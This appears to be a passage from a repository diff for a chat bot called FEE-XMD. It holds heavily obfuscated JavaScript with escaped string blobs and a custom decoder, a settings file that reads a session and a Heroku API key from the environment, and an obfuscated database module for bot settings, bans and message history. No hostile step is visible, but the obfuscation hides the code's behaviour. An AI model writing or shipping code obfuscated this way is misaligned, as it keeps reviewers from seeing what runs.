川天木){林林地金+='\u0078\u004c\u0061\u0035\u0066\u0038\u006f\u0062\u0073\u0064\u006f\u0035\u0049\u0055\u0073\u0051\u0048\u0056\u0044\u0064\u0073\u004d\u0062\u0039\u0056\u004c\u0063\u005a\u0072\u0051\u0074\u0076\u0033\u0075\u0048\u0061\u0034\u0035\u0044\u0063\u0062\u0063\u0043\u0041\u0068\u0061\u0051\u0078\u0079\u0078\u004c\u0079\u0076\u0046\u0070\u004d\u0038\u006a\u0037\u0044\u0071\u0046\u004b\u0044\u0042\u004b\u0058\u0042\u006d\u004e\u0068\u006e\u0050\u0068\u0034\u0032\u0078\u004b\u0033\u0051\u0035\u007a\u0046\u0064\u0045\u0036\u004c\u0075\u0036\u0074\u0076\u0032\u0076\u004a\u0050\u006a\u004c\u0043\u0079\u006f\u0078\u0042\u0058\u0054\u006b\u0079\u0047\u0034\u006d\u0043\u0057\u004f\u0059\u0053\u0061\u0037\u0068\u0074\u0039\u0074\u0066\u006a\u004f\u0037\u0030\u0049\u0047\u006f\u0054\u004f\u0069\u004a\u0034\u0072\u0042\u0075\u0036\u0046\u0045\u0047\u0049\u0078\u0037\u0048\u0079\u0030\u0074\u0043\u0059\u006e\u0057\u0041\u0055\u0067\u0037\u0064\u0056\u004f\u0053\u006a\u0072\u0035\u0033\u0047\u0072\u0046\u0057\u007a\u0048\u006e\u0069\u0076\u004b\u0071\u005a\u0071\u0056\u005a\u007a\u0057\u0074\u0055\u0050\u0069\u007a\u0030\u0074\u004b\u0062\u0056\u006d\u0049\u0056\u0063\u007a\u0055\u006e\u0056\u0070\u0067\u004f\u0054\u006b\u006f\u006c\u004f\u0057\u0037\u004f\u0077\u0050\u0068\u0057\u0070\u006d\u0063\u0046\u0069\u0066\u0042\u0051\u0077\u0056\u0047\u0057\u0070\u0078\u0069\u0056\u005a\u0066\u006c\u0062\u004c\u0033\u0032\u0071\u0072\u0053\u0036\u0049\u0051\u0045\u0062\u0049\u0049\u0045\u004f\u0056\u0043\u006a\u0066\u0034\u0079\u004e\u0043\u0038\u0046\u0032\u0036\u006a\u0046\u0076\u0042\u0044\u0068\u0065\u0038\u0053\u004d\u0048\u0031\u0058\u0038\u0066\u0071\u0044\u0068\u0054\u0036\u0035\u0031\u0031\u0043\u0065\u0073\u0059\u0035\u006d\u007a\u0070\u0075\u0034\u0067\u0062\u006e\u0077\u0071\u004d\u0064\u006a\u0062\u0066\u006d\u0065\u0037\u0036\u006a\u0077\u004c\u0033\u0053\u0043\u004b\u0061\u0046\u004f\u006e\u0077\u004c\u0078\u0075\u007a\u004f\u0069\u0046\u0053\u0070\u004a\u0065\u0073\u0077\u0033\u0071\u006a\u006d\u0074\u0047\u0034\u0052\u006c\u0057\u0056\u0057\u0036\u0079\u005a\u005a\u006f\u0041\u004c\u0036\u0077\u0056\u006a\u0052\u006d\u004f\u0051\u006b\u0042\u0059\u0058\u004a\u0049\u0042\u0035\u0073\u0071\u0033\u0066\u0046\u0056\u0063\u0065\u0077\u0068\u0072\u0072\u0067\u0059\u0055\u004a\u0066\u0078\u006f\u006b\u0057\u0072\u004b\u0046\u0065\u004e\u0058\u0063\u006a\u0033\u0064\u0048\u0078\u0058\u0044\u0056\u0073\u0047\u0058\u0055\u0051\u0068\u0075\u0051\u0049\u0045\u0042\u0065\u0033\u005a\u0059\u006e\u0039\u0037\u0033\u006f\u0038\u0053\u0065\u0039\u0059\u0059\u004d\u0039\u0038\u0051\u006c\u0057\u0043\u0034\u0055\u006f\u004f\u0030\u0057\u0053\u0049\u0078\u0036\u0033\u004e\u0062\u004f\u0030\u0070\u0053\u006b\u0074\u004f\u005a\u006a\u004a\u0037\u006f\u0057\u0075\u006c\u0063\u0037\u0062\u0070\u0036\u0079\u0072\u0057\u0061\u0062\u006b\u0065\u006e\u0055\u0064\u0036\u0037\u0035\u006f\u0031\u0056\u0070\u004e\u0030\u0031\u004a\u006a\u0079\u0065\u0049\u0038\u0063\u006e\u006c\u0052\u0056\u006d\u0067\u0055\u0064\u0058\u004c\u0041\u0035\u005a\u0078\u004c\u0072\u0075\u0072\u0046\u0042\u006a\u0059\u0069\u0051\u0077\u0052\u0072\u0031\u0035\u0037\u004b\u0034\u0047\u0078\u0075\u0050\u0053\u0068\u0050\u0072\u0078\u0038\u006a\u0067\u0041\u0052\u0045\u0069\u004d\u0037\u006c\u0058\u0034\u0035\u006a\u0059\u0044\u0054\u0048\u0047\u006d\u0071\u0062\u0064\u0056\u0073'}if('\x50\x39\x5a\x33\x78\x45'in 川天木){林林地金+='\x57փ\x43۠\x4e\x6d\x45\x7d\x5fХ\x35\x40\x3b\x42\x52\x5f\x32\x52ʽ\x78\x3b\x3e\x5d\x78\x2b\x69\x25\x7e\x23\x41\x65\x5f\x79\x54֟\x65\x6a\x26\x4f\x7a\x5a\x55\x60\x33\x56\x3f\x48\x43ȋϲɜˮ\x24\x6c\x74\x55\x55\x49\x69ؽϙ\x4f\x67\x33\x6eʧ\x66\x77ը\x2a\x7a\x4e\x2fɥ\x60\x6c\x24\x79\x6f\x21\x29\x36\x47ݤ\x4a֧\x61\x77\x39\x62ؐ\x3f\x7b\x7c\x44ѩƞ\x74\x51\x55\x59\x6e\x36\x43\x70\x7a\x39К\x49\x44\x67˘\x60\x40\x45\x7a\x67\x46\x48ŝ\x54\x7e\x40\x4f\x4aɂ\x25\x71\x61\x60\x28\x71\x4a\x38\x7bї\x7b\x33\x6c\x2bƏdz\x46\x4f\x26ǩ\x53־\x33֗Ů\x65\x6eн\x57\x4a\x55\x25Ļ\x6f\x22Ǧ\x45\x4b\x7d\x36\x41Ȼ\x76\x45\x62\x42Ɵ\x58\x62\x73\x37\x54Б\x60\x4d\x31\x4a\x4bʧՈ\x59\x49\x5eٻ\x2aݒ\x3d\x39؃צ\x51\x78ʧ\x5d\x29\x7e\x4f\x34ϵ\x6b\x40\x2f\x3b\x46\x40\x6a\x7bڙ\x6eǧ\x46ֶ\x62\x3e\x48\x50\x64\x21֛\x25\x23\x22\x53\x76\x2fࠡѽ\x38\x48\x35\x21\x33\x63\x25\x70\x33\x3c\x2cȢ\x2b\x77̀\x41\x5d\x7d\x79ӷѩό\x47Ģ\x28Ѥ\x78\x39߄\x2f\x3c\x31\x30\x6fؤ\x36ǣ\x3a\x5e\x76\x42ߺ\x6c\x3d\x31ȣ\x74\x71Ͻ\x36\x30ݨʋ\x73\x3f\x45\x24Թ\x6b\x46\x4a\x24\x6a\x50Ȉǃ\x67\x3e\x59\x65\x62߹\x7a\x3é\x7a\x6f\x71\x30\x21\x49\x33\x73\x33\x5d\x2a\x2c\x65ʧ\x2f\x31\x64\x4b\x7a\x2bࢄ\x7e\x79َ\x71\x4d\x6f\x59\x69\x36ࣚ\x4b\x26\x46٦\x33\x66\x28ٌ\x38\x39\x6e\x38ؐ\x2eθࡑҗ٥\x5f\x5d\x59ʼ́\x38\x57\x6eکʽ\x37֏\x33\x6b\x30\x4c֭ȶ\x39\x49Ҵ\x2c\x2b\x37\x37\x30\x79\x68ܕ\x52ٽ\x4e\x22\x4a࣯\x3a\x2b\x3d\x77\x6eǤ\x66\x7dڙ΁Ќ\x68ٱࢁ\x52ͼ˗\x42\x62\x7a\x64\x46ࡔ\x68\x60˰\x35\x60\x26\x26\x2b\x2b\x6a\x3d\x2c\x49\x30\x58\x32\x37࢑\x3cЕ\x7dݸ\x64֢\x42\x32࡚\x22\x64ʽ\x3a\x33רܷ\x4e\x68\x44\x5f\x46݊ŝ\x57Šœ\x4d\x6d\x54\x64\x28\x70\x78\x73ۣ\x6b\x41\x36\x32\x35\x4c\x26\x38\x68\x37\x28\x53\x5f\x62\x46\x44Ԕ͓Ȼ\x69\x29७\x48\x57ʽ\x3fɎࣖ\x73\x48\x56\x4b\x43\x3cŬ\x59\x37\x5d\x36\x31ځ\x41ँŮ\x30\x75˕\x62Ӻްܳ\x4e\x7dȣ\x4e\x39ߨ\x7d\x50ࣕ\x5d\x63\x56զͬ\x2b\x28\x49\x57\x42Ľ\x49\x37\x44\x68\x7dԎ\x66׬\x7c\x6b\x5d\x61\x5d\x4bĈФ\x4b٤\x66\x22\x30\x3f\x29'}if('\u0071\u005a\u0074\u004a\u006e\u0063'in 川天木){林林地金+='\x48\x58Ǐ\x60\x2f\x21\x34\x5f\x5bҒ\x28ࣕП\x5a\x52\x4c\x43ࢅ\x3d\x3aş\x46Ψ\x42\x6a\x61\x3a\x7c\x58\x4bѤ\x50\x74Ȯōʛ\x4b\x58ڱ\x5d\x75ʗࢱ\x34۵\x33ɏ\x72\x59ͮ॓\x7b\x49\x41\x29\x66\x25؍ࢧ\x38\x24\x34\x6bʕ\x2e֓\x46ǎͯ\x70ήםޢ\x3e\x43\x2cǭ৽\x45߻եঙ\x67ŝ\x73\x79\x4b\x24׹ؚ\x57\x7a\x47\x6cŠ\x78\x77࡝Хր\x66ǙʲƖͤшՁ\x3d\x37\x6aࠟ\x72\x7d\x5b\x44\x64\x5f\x7d\x4c\x4e\x28\x57\x40\x3e\x28\x5fя͢\x2bͣ࠮\x29\x64\x66\x45\x54җɅ\x23ࠥ\x4aσƀ\x4dϺʀś\x5aݨ\x6a\x73\x28\x7d\x7e\x4d\x77\x36Ω\x79\x52\x56\x6b\x75\x62\x71\x62\x37ɏ\x4d\x5aŮ\x48\x38\x3fࡑ\x7e\x46ͨ\x32\x2c\x37\x3d\x79č\x75\x7b੃\x61\x66\x41\x39\x3aࣻ\x40\x57\x6d\x47\x59\x26ڏ\x37\x7bढ̉\x40\x7aؿؑۛ\x24\x3d਒ڷ\x60ʽ\x4f\x46\x60\x65\x3e\x52֢\x5eѷ\x7aܻ\x68ک\x46\x46\x49\x39ʌ\x7c\x62\x39\x38\x4b\x45ʁĒ\x32լ\x59ԧ\x7b׮\x39\x35\x78࠘\x56\x78\x33\x2aˏ\x79\x45\x7b\x3b\x66Ϛڵ\x71\x37\x52\x7aɹ੭ũੋك\x26\x28\x3b\x77ߌ\x7d\x70ࠀȯ\x48\x66ƒ\x77\x33\x62ӂ\x50ǵ\x34̝\x42\x65\x3a\x49۟\x63\x36\x4fŮ\x42ਞ\x35\x58\x52\x3bΣ\x32ъǩ\x74\x7bࢾ\x6f\x72Ƚ\x26ੂ\x5aζ\x49\x6dԹ\x5aগŞ\x77\x50\x28\x59૱\x62ड\x2b\x26\x3e\x6a\x4c\x4b\x6f\x49\x79\x28\x47\x4c\x64\x6b\x79\x3a\x62\x30ӽ\x56ڰ\x2bƤ\x25Ŋૄĺ\x65ҥ\x56\x48\x30\x37Վ\x32\x2b\x41\x3bГ\x61Һŝ\x53\x6aڒ޾\x2a\x6b\x38ߞ\x56\x2a\x43ѓ\x21ڈܠࣙڡΠ\x4c\x25\x59\x51\x39\x2c\x38؃\x4c\x4f\x2e\x70\x3f\x6e\x54ֶ\x7c\x48\x22\x5d޳\x3a\x73\x54ਢ\x22\x42\x29ࡋ\x67\x73ֶ࣏Ғ\x56\x23\x32\x4a\x74\x31\x62ࢻ\x47঳\x42\x69\x22\x6d\x6bਢό\x75\x6e\x64\x65\x66\x69Ǩ\x64Ʉ\x65\x74Ƭ\x6e\x20\x74\x68\x69ğ\x70\x75\x73ऩ\x5f٠\x72\x6f\x74\x6f஛ˋ\x6f\x6e\x73\x74\x72\x75\x63ட\x72ͯ\x61ֻ\x7cਥ\x6eࠄऩ\x54\x65\x78\x74\x44\x65\x63\x6fஇ஫\x55ஊ\x74\x38\x41ُ\x61\x79ٱ\x75\x66ȿ஫\x53஦ஊۄூج௅\x66஝\x6d\x43஻\x65\x50\x6fி\x7c௒̴\x43\x68\x61ଃ௖\x7c\x6a௙čஇ஺இ௛௓\x7cடோ\x72்ƚ\x74\x66\x2d\x38ˋ̔\x6ć'}if('\x31\x78\x64\x79'in 川天木){林林地金+='\x52\x33\x69\x54'}if('\u0038\u004b\u0047\u0058\u0037\u0052\u004b\u0037\u0077\u0032'in 川天木){林林地金+='\u0070\u0070\u006c\u0079'}return 林林地金}function 海天日天(林林地金){return 地天雪水[林林地金]}function 影林風(林林地金){var 川天木,地天雪水,月川雪,水山={},峰峰山=林林地金.split(''),風光風=地天雪水=峰峰山[0],山海林雪=[風光風],峰日=川天木=256;for(林林地金=1;林林地金<峰峰山.length;林林地金++)月川雪=峰峰山[林林地金].charCodeAt(0),月川雪=峰日>月川雪?峰峰山[林林地金]:水山[月川雪]?水山[月川雪]:地天雪水+風光風,山海林雪.push(月川雪),風光風=月川雪.charAt(0),水山[川天木]=地天雪水+風光風,川天木++,地天雪水=月川雪;return 山海林雪.join('').split('\u007c')}
FEE-XMD-main/config/settings.js ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ const session = process.env.SESSION || '';
2
+ const mycode = process.env.CODE || "255";
3
+ const botname = process.env.BOTNAME || 'FEE-XMD';
4
+ const herokuAppName = process.env.HEROKU_APP_NAME || '';
5
+
6
+ function getHerokuApiKey() {
7
+ return process.env.HEROKU_API_KEY || '';
8
+ }
9
+
10
+ export { session, mycode, botname, herokuAppName, getHerokuApiKey };
FEE-XMD-main/database/config.js ADDED
@@ -0,0 +1 @@
 
 
1
+ const _0x598bbe=_0x33d2;(function(_0x41419d,_0x22b1a5){const _0x35cc08=_0x33d2,_0x177371=_0x41419d();while(!![]){try{const _0xab281=-parseInt(_0x35cc08(0x1eb))/(0xf*-0x28e+0x97c*0x4+0x63*0x1)+parseInt(_0x35cc08(0x180))/(-0x1a71*0x1+-0x164b*-0x1+0x13*0x38)+-parseInt(_0x35cc08(0x237))/(-0x2690+0x7*0x7+-0x242*-0x11)*(-parseInt(_0x35cc08(0x183))/(-0x12e4+0xb*-0x31d+0x3527))+-parseInt(_0x35cc08(0x3d8))/(-0x240*-0x1+-0x4*0x83b+0x1eb1)*(-parseInt(_0x35cc08(0x24f))/(-0x47d+0x15e6+-0x1163))+-parseInt(_0x35cc08(0x3b7))/(0x1cfb+0x1*-0x2039+0x345)+parseInt(_0x35cc08(0x36e))/(-0x11*0xf1+0x1e12+-0xe09)*(-parseInt(_0x35cc08(0x310))/(-0x1493+-0x2*-0xf6b+-0xa3a))+parseInt(_0x35cc08(0xbb))/(-0x469*-0x7+-0xb2b+-0x13aa)*(parseInt(_0x35cc08(0x283))/(0xbbf*0x1+-0x4cd*-0x1+0x19*-0xa9));if(_0xab281===_0x22b1a5)break;else _0x177371['push'](_0x177371['shift']());}catch(_0x30beb5){_0x177371['push'](_0x177371['shift']());}}}(_0x309c,-0x2007d+-0x1bff6+-0xc05*-0x71));import{createRequire}from'module';const require=createRequire(import.meta.url);import{DatabaseSync}from'node:sqlite';import _0x2e67ef from'path';import{Pool}from'pg';let Database=null,_sqliteDriver=null;try{Database=require(_0x598bbe(0x18b)+_0x598bbe(0xa9)),_sqliteDriver=_0x598bbe(0x18b)+_0x598bbe(0xa9);}catch{try{_sqliteDriver=_0x598bbe(0x3d6)+'e',Database=class NodeSQLiteCompat{constructor(_0x3d266e){const _0x204d89=_0x598bbe;this[_0x204d89(0x28a)]=new DatabaseSync(_0x3d266e);}[_0x598bbe(0x124)](_0x1ebc12){const _0x1ba92c=_0x598bbe,_0x207b37={'cixzo':function(_0xf59dba,_0x17d3c5){return _0xf59dba+_0x17d3c5;},'mnrlD':_0x1ba92c(0x33b)};try{this[_0x1ba92c(0x28a)][_0x1ba92c(0x221)](_0x207b37[_0x1ba92c(0xa8)](_0x207b37[_0x1ba92c(0x3b6)],_0x1ebc12));}catch{}}[_0x598bbe(0x221)](_0x5d160e){const _0x5531f9=_0x598bbe;return this[_0x5531f9(0x28a)][_0x5531f9(0x221)](_0x5d160e);}[_0x598bbe(0x377)](_0x559d95){const _0x9c4a78=_0x598bbe;return this[_0x9c4a78(0x28a)][_0x9c4a78(0x377)](_0x559d95);}};}catch{Database=null;}}const _mem={'settings':new Map(),'sudo':new Set(),'banned':new Set(),'groups':new Map(),'history':[],'warns':new Map(),'msgs':new Map(),'allowed':new Set(),'lidPhone':new Map()};function initMemory(){const _0x45c904=_0x598bbe,_0x20153d={'IlDQe':_0x45c904(0xac),'eRdjA':_0x45c904(0xf8)+_0x45c904(0x3c8)+_0x45c904(0x397)+_0x45c904(0x232)+_0x45c904(0x387)+_0x45c904(0x28d)+_0x45c904(0x2c3)+_0x45c904(0x245)+_0x45c904(0x358)+_0x45c904(0x18b)+_0x45c904(0x2cf)+_0x45c904(0x196)+_0x45c904(0x2eb)+_0x45c904(0x2d6)};_backend=_0x20153d[_0x45c904(0x28e)],console[_0x45c904(0x2c1)](_0x20153d[_0x45c904(0x376)]);}function _memOp(_0x17504d,_0x188236,_0x375709){const _0xd4b345=_0x598bbe,_0x4d8726={'lhjko':function(_0x38e5ec,_0xa4cac8){return _0x38e5ec||_0xa4cac8;},'qHRqQ':_0xd4b345(0xc5)+_0xd4b345(0x308),'ysocG':function(_0x3aa6c8,_0x21e801){return _0x3aa6c8===_0x21e801;},'OoYhm':_0xd4b345(0x29f),'zuBKA':function(_0x224171,_0x77fe2e){return _0x224171===_0x77fe2e;},'opyQI':_0xd4b345(0x158),'LFbbk':_0xd4b345(0xbf),'LlLkk':function(_0x204951,_0xc7e458){return _0x204951===_0xc7e458;},'nwlKW':_0xd4b345(0x2bb),'nlNHB':_0xd4b345(0x244)+_0xd4b345(0x335),'cAYNR':function(_0x54ba2d,_0x1067ee){return _0x54ba2d===_0x1067ee;},'ITgNk':_0xd4b345(0x120),'oZYYS':_0xd4b345(0x2d5)+'rs','zQCcQ':function(_0x3cb942,_0x3d6338){return _0x3cb942===_0x3d6338;},'CBkWa':_0xd4b345(0x25e),'DtsCL':function(_0x2b3b98,_0x2d7614){return _0x2b3b98===_0x2d7614;},'PIBZx':_0xd4b345(0x346),'VhBeU':_0xd4b345(0x11f),'dsWbW':_0xd4b345(0xb4)+_0xd4b345(0x342),'gPNeR':function(_0x15c216,_0x5cb7fd){return _0x15c216===_0x5cb7fd;},'aeado':function(_0x578654,_0x4237ce){return _0x578654/_0x4237ce;},'igYbh':function(_0x1a705b,_0x22bff0){return _0x1a705b>_0x22bff0;},'vONVj':function(_0x15a5e7,_0x34fe0e){return _0x15a5e7===_0x34fe0e;},'eKchI':function(_0x4b2e22,_0x15bb33){return _0x4b2e22===_0x15bb33;},'fagOL':_0xd4b345(0x243),'bPfrg':function(_0x1a05c3,_0x24ceb4){return _0x1a05c3+_0x24ceb4;},'gGkKw':function(_0x39d220,_0x2b3196){return _0x39d220+_0x2b3196;},'MEhTA':function(_0x3cc404,_0xf7dc5a){return _0x3cc404===_0xf7dc5a;},'IomDQ':_0xd4b345(0x277),'XVIgQ':_0xd4b345(0x334),'Emkld':function(_0x10487d,_0x170a5c){return _0x10487d===_0x170a5c;},'atVKY':function(_0x4552b1,_0x4637d1){return _0x4552b1>=_0x4637d1;},'zymCh':function(_0x2373a1,_0x13ccf9){return _0x2373a1<_0x13ccf9;},'vIaPI':_0xd4b345(0x2a2),'ZrUJo':function(_0x32cfde,_0x50b4fd){return _0x32cfde===_0x50b4fd;}},_0x53cb19=_0x4d8726[_0xd4b345(0xf3)](_0x188236,'')[_0xd4b345(0x2b1)+'e']()[_0xd4b345(0x211)]();if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x1f5)])){if(_0x4d8726[_0xd4b345(0x338)](_0x17504d,_0x4d8726[_0xd4b345(0x154)]))return[..._mem[_0xd4b345(0x106)]][_0xd4b345(0x12a)](_0x37e108=>({'num':_0x37e108}));if(_0x4d8726[_0xd4b345(0x10a)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])){_mem[_0xd4b345(0x106)][_0xd4b345(0xbf)](_0x375709[-0x467+0x1ed2+0x1a6b*-0x1]);return;}if(_0x4d8726[_0xd4b345(0x252)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])){_mem[_0xd4b345(0x106)][_0xd4b345(0x1d5)](_0x375709[0x262b+0x217b*-0x1+-0x8*0x96]);return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x1c1)])&&!_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x3ca)])){if(_0x4d8726[_0xd4b345(0x338)](_0x17504d,_0x4d8726[_0xd4b345(0x154)])){const _0x82cd2a=[];return _mem[_0xd4b345(0x2bb)][_0xd4b345(0x26e)]((_0x6f8385,_0x3b262e)=>_0x82cd2a[_0xd4b345(0x327)]({'key':_0x3b262e,'value':_0x6f8385})),_0x82cd2a;}if(_0x4d8726[_0xd4b345(0x2e8)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])){_mem[_0xd4b345(0x2bb)][_0xd4b345(0x2f6)](_0x375709[0x701+-0x23f*-0xc+-0x21f5],_0x375709[0x5db*0x5+-0x1e74+0x97*0x2]);return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x15b)])){if(_0x4d8726[_0xd4b345(0x252)](_0x17504d,_0x4d8726[_0xd4b345(0x154)]))return[..._mem[_0xd4b345(0x27e)]][_0xd4b345(0x12a)](_0xb9dfc5=>({'num':_0xb9dfc5}));if(_0x4d8726[_0xd4b345(0x10a)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])){_mem[_0xd4b345(0x27e)][_0xd4b345(0xbf)](_0x375709[0x805*-0x4+0x246b*-0x1+0x447f]);return;}if(_0x4d8726[_0xd4b345(0x2e8)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])){_mem[_0xd4b345(0x27e)][_0xd4b345(0x1d5)](_0x375709[0x14f7+0x25*0x10c+-0x20f*0x1d]);return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x38e)])){if(_0x4d8726[_0xd4b345(0x338)](_0x17504d,_0x4d8726[_0xd4b345(0x154)]))return[..._mem[_0xd4b345(0x1ee)]][_0xd4b345(0x12a)](_0x18cb78=>({'num':_0x18cb78}));if(_0x4d8726[_0xd4b345(0x2e8)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])){_mem[_0xd4b345(0x1ee)][_0xd4b345(0xbf)](_0x375709[0x1d81*0x1+-0x697+-0x16ea]);return;}if(_0x4d8726[_0xd4b345(0x123)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])){_mem[_0xd4b345(0x1ee)][_0xd4b345(0x1d5)](_0x375709[0x20a6+0x19a2+0x2ea*-0x14]);return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x3ca)])){if(_0x4d8726[_0xd4b345(0x10a)](_0x17504d,_0x4d8726[_0xd4b345(0x234)]))return _mem[_0xd4b345(0x304)][_0xd4b345(0x25e)](_0x375709[0x37d*0x2+0x1f6d+-0x2667])||null;_0x4d8726[_0xd4b345(0x217)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x388)])&&_0x375709[-0x28e*-0xa+-0x2393+0xa07]&&!_mem[_0xd4b345(0x304)][_0xd4b345(0x1cc)](_0x375709[-0x1f4c+-0x1c06+0x13c6*0x3])&&_mem[_0xd4b345(0x304)][_0xd4b345(0x2f6)](_0x375709[-0xab9+0x75b+0x35e],{'jid':_0x375709[0x2a*-0x9b+-0x2535+-0x14e1*-0x3],'antidelete':0x1,'gcpresence':0x0,'events':0x0,'antidemote':0x0,'antipromote':0x0,'antilink':_0x4d8726[_0xd4b345(0x22c)],'antistatusmention':_0x4d8726[_0xd4b345(0x22c)],'antitag':0x0,'welcome':0x0,'goodbye':0x0,'warn_limit':0x3});return;}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x307)])){if(_0x4d8726[_0xd4b345(0x15f)](_0x17504d,_0x4d8726[_0xd4b345(0x154)])){const _0x466366=_0x375709[0x1847+-0x6e5+-0x32*0x59],_0x2daf67=_0x375709[-0x15d*-0x1+-0xdfa+0x286*0x5]||-0x1d00+-0x1cb0+-0x2*-0x1ce2;return _mem[_0xd4b345(0x2ee)][_0xd4b345(0x353)](_0x423456=>_0x423456[_0xd4b345(0x1bb)]===_0x466366)[_0xd4b345(0xb8)](-_0x2daf67);}if(_0x4d8726[_0xd4b345(0x15f)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x388)])){_mem[_0xd4b345(0x2ee)][_0xd4b345(0x327)]({'num':_0x375709[-0x1c+0x1*-0x2474+0x2d*0xd0],'role':_0x375709[0x3*0x5fd+-0xd92+-0x464],'message':_0x375709[-0xa7f+0x937+0x14a],'timestamp':Math[_0xd4b345(0x249)](_0x4d8726[_0xd4b345(0x105)](Date[_0xd4b345(0x369)](),0x1d92+0x2366+-0x7a2*0x8))});if(_0x4d8726[_0xd4b345(0xd6)](_mem[_0xd4b345(0x2ee)][_0xd4b345(0x3a7)],-0x16d3*0x1+0x1*-0x34b+0x21ee))_mem[_0xd4b345(0x2ee)]=_mem[_0xd4b345(0x2ee)][_0xd4b345(0xb8)](-(-0x11ba+0x172d+-0x4f*0x5));return;}if(_0x4d8726[_0xd4b345(0x1c8)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])&&_0x4d8726[_0xd4b345(0x338)](_0x375709[_0xd4b345(0x3a7)],-0x15cd+-0xd99*0x2+0x3100)){_mem[_0xd4b345(0x2ee)]=_mem[_0xd4b345(0x2ee)][_0xd4b345(0x353)](_0x1ded82=>_0x1ded82[_0xd4b345(0x1bb)]!==_0x375709[-0x71*0x13+-0x59b+0xdfe]);return;}if(_0x4d8726[_0xd4b345(0x1a3)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])){const _0x32f956=_0x375709[-0x1d75+-0x1*0x2171+-0x61*-0xa6];_mem[_0xd4b345(0x2ee)]=_mem[_0xd4b345(0x2ee)][_0xd4b345(0x353)](_0x37dca4=>(_0x37dca4[_0xd4b345(0x220)]||0x593*-0x4+-0x33*-0x43+0x8f3)>_0x32f956);return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x3a8)])){const _0x4207cf=_0x4d8726[_0xd4b345(0x30a)](_0x4d8726[_0xd4b345(0x2af)](_0x375709[-0x5e*0x63+-0x12*0x5d+0x2ae4]||'','|'),_0x375709[-0x1820+0x1ffb*0x1+-0x7da]||'');if(_0x4d8726[_0xd4b345(0x123)](_0x17504d,_0x4d8726[_0xd4b345(0x234)]))return{'warns':_mem[_0xd4b345(0x199)][_0xd4b345(0x25e)](_0x4207cf)||0xcf*-0x10+-0xe16+0x1b06};if(_0x4d8726[_0xd4b345(0x344)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])){_mem[_0xd4b345(0x199)][_0xd4b345(0xbf)](_0x4207cf);return;}if(_0x4d8726[_0xd4b345(0x1c8)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x388)])){_mem[_0xd4b345(0x199)][_0xd4b345(0x2f6)](_0x4207cf,-0x83*0x26+0x253*0x7+0x32e);return;}if(_0x4d8726[_0xd4b345(0x338)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x22e)])){_mem[_0xd4b345(0x199)][_0xd4b345(0x2f6)](_0x4207cf,_0x4d8726[_0xd4b345(0x30a)](_mem[_0xd4b345(0x199)][_0xd4b345(0x25e)](_0x4207cf)||-0x1b0f+0x223f+-0x730,0x189+-0x6e7+0x55f));return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0xe9)])){if(_0x4d8726[_0xd4b345(0x2a8)](_0x17504d,_0x4d8726[_0xd4b345(0x234)]))return _mem[_0xd4b345(0x3db)][_0xd4b345(0x25e)](_0x375709[-0x7*-0x47b+0x1*-0x17ba+-0x7a3])||null;if(_0x4d8726[_0xd4b345(0x338)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x388)])){_mem[_0xd4b345(0x3db)][_0xd4b345(0x2f6)](_0x375709[0x6*0x185+0x1*0x1b29+-0x2447],{'id':_0x375709[0x211*-0x4+-0x26ae+0x1779*0x2],'jid':_0x375709[-0x1*0x2527+0x39c*-0x3+0x2ffc],'sender':_0x375709[-0xb30+0x1806+-0xcd4],'message':_0x375709[-0xc*-0xad+0x1ca+-0x9e3],'timestamp':_0x375709[-0x21e9+-0x2c8+0x1*0x24b5]});if(_0x4d8726[_0xd4b345(0xd6)](_mem[_0xd4b345(0x3db)][_0xd4b345(0x1d3)],0x5*0x783+-0x15c8+-0xbdf)){const 